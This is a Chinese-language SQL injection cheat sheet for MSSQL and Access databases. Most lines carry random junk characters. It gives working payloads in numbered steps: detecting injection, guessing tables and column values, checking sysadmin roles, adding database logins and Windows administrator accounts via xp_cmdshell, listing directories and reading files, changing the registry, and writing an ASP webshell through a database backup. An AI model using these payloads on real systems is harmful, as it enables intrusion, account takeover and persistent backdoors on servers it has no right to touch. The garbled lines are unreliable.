1.判断是否有注入;and 1=1 ;and 1=2 %G!!0V!
2.初步判断是否是mssql ;and user>0 E 3'I;
Pn9".
3.注入参数是字符'and [查询条件] and ''=' Vo"G@W)lZ
"e-Y?_S7R8
4.搜索时没过滤参数的'and [查询条件] and '%25'=' `<tRfl}qs
fn<dr(Dx
5.判断数据库系统 JzEg`Sn^
4pL'c@'
;and (select count(*) from sysobjects)>0 mssql :P-H8*n""
}[eUAGhDU
;and (select count(*) from msysobjects)>0 access 3V]dl)en%
}Cu:BD.zQ
uf?;;wg
sK%b16#
6.猜数据库 ;and (select Count(*) from [数据库名])>0 __}SHU0R
r^Ra`:ca
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 gOg7:VPG
]C^ #)7
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 CG%bZco((
mPA)G,^
9.(1)猜字段的ascii值(access) GSRf/::I}4
M
%,\2!$
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 q;9X8 _
p.:|Z-W$
(2)猜字段的ascii值(mssql) &W>\Vl1
diXWm-ZKL
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 #f(a,,Uu'
.M:&Aj)x16
10.测试权限结构(mssql)
(7X
Qy9_tvq
X
:0@0muo
|r+ x/,2-
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 4]1/{</B|
76T7<.S
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ~;oXLCL0})
SXsszb:_
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- _!2lnJ4+5
|4DN2P
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- pS8\ B
E#P#{_BR^
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ;C-ds
}h1BAKg
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 3fLdceT
D<v<
:
;and 1=(select IS_MEMBER('db_owner'));-- :'r*
5EX
k:n{AoUc
L/fXP@u
~xG/ yPl
11.添加mssql和系统的帐户 V(cU/Aia^
l8E))oz1T
;exec master.dbo.sp_addlogin username;-- 0-PT%R
;exec master.dbo.sp_password null,username,password;-- q2#Ebw%]
nOyG7:
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- JA{kifu0+
t!wbT79/
;exec master.dbo.xp_cmdshell 'net user username password pOK=o$1V8
;ZB=@@l(
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 6Zpa[,gm
ot7f?tF2<J
;exec master.dbo.xp_cmdshell 'net user username password /add';-- G739Ne[gL
UZ/LR
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- D*@'%<?
#TUm&2 +V
@|\;#$?XW3
O4`.ohAZ
12.(1)遍历目录 =9,mt
K~
]+G\1SN~
;create table dirs(paths varchar(100), id int) Jb{g{a/
#_\**%,<
;insert dirs exec master.dbo.xp_dirtree 'c:\' 9V)cf
)*%uG{h
;and (select top 1 paths from dirs)>0 Sy?^+JdM/
trwo(p
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
c2V_|oL
)Fd)YJVR
]pNM~,
;PVE= z+y
(2)遍历目录 yVzV]&k
4+qo=i
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- &5jc
&CS
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 I!F&8B+|
H5]q*D2
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 .+2:~%v6
8r}tf3xMCM
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 %^W(sB$b
\aSc2Ml]3n
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 &7kLSb&|;
bZSt<cH3
s
j-oaWt
=WN8><K!
13.mssql中的存储过程
$o9^b
Z
oTk\r$4eb
xp_regenumvalues 注册表根键, 子键 f`vWCb
n<EIu
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Af]BR_-
l
xp_regread 根键,子键,键值名 "/O07l1Q<
{uwPP2YD,
;exec xp_regread K4Ed]hX
)cgNf]oy
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 e]1)_;b*
Dg^s$2
xp_regwrite 根键,子键, 值名, 值类型, 值 4WlBQ<5
k=t{o
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 lx$Z/f
1_&W1o
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 |1kA6/
hRKJKQ@7
xp_regdeletevalue 根键,子键,值名 CZy!nR!
_7v4S/V
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Z>`frL
5 3+C;]J
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 Hj-n
'XZ
y[f%0*\B
U&^(%W#
@0:Eg 1-
14.mssql的backup创建webshell C^JtJv
U0|wC,7"
use model WO69Wo\C
M$v\7vBgO!
create table cmd(str image); !j6CvclT
FBi&MZ`
insert into cmd(str) values (''); 4J9Y
>]Mhkf/=)
backup database model to disk='c:\l.asp'; 9R+ qw
varaBFD
,o2x,I
G"J
8i|~
15.mssql内置函数 <YG 42,N
6 X2w)cO
;and (select @@version)>0 获得Windows的版本号 SP=8v0
, Sf:R4=
;and user_name()='dbo' 判断当前系统的连接用户是不是sa N#OO{`":Z`
K_j*9@
;and (select user_name())>0 爆当前系统的连接用户 |em_l$oGc
Zz|et206
;and (select db_name())>0 得到当前连接的数据库 22d>\u+c
Yg!fEopLb
GOCe&?
6[Mu3.T
16.简洁的webshell Kr<a6BEv5
;Uypv|xX
use model 'eQ*?a43
;x)f;!e+
create table cmd(str image); tTq2AR|
+s+E!= s
insert into cmd(str) values (''); d<_IC7$u>
%Q93n {?
backup database model to disk='g:\wwwtest\l.asp';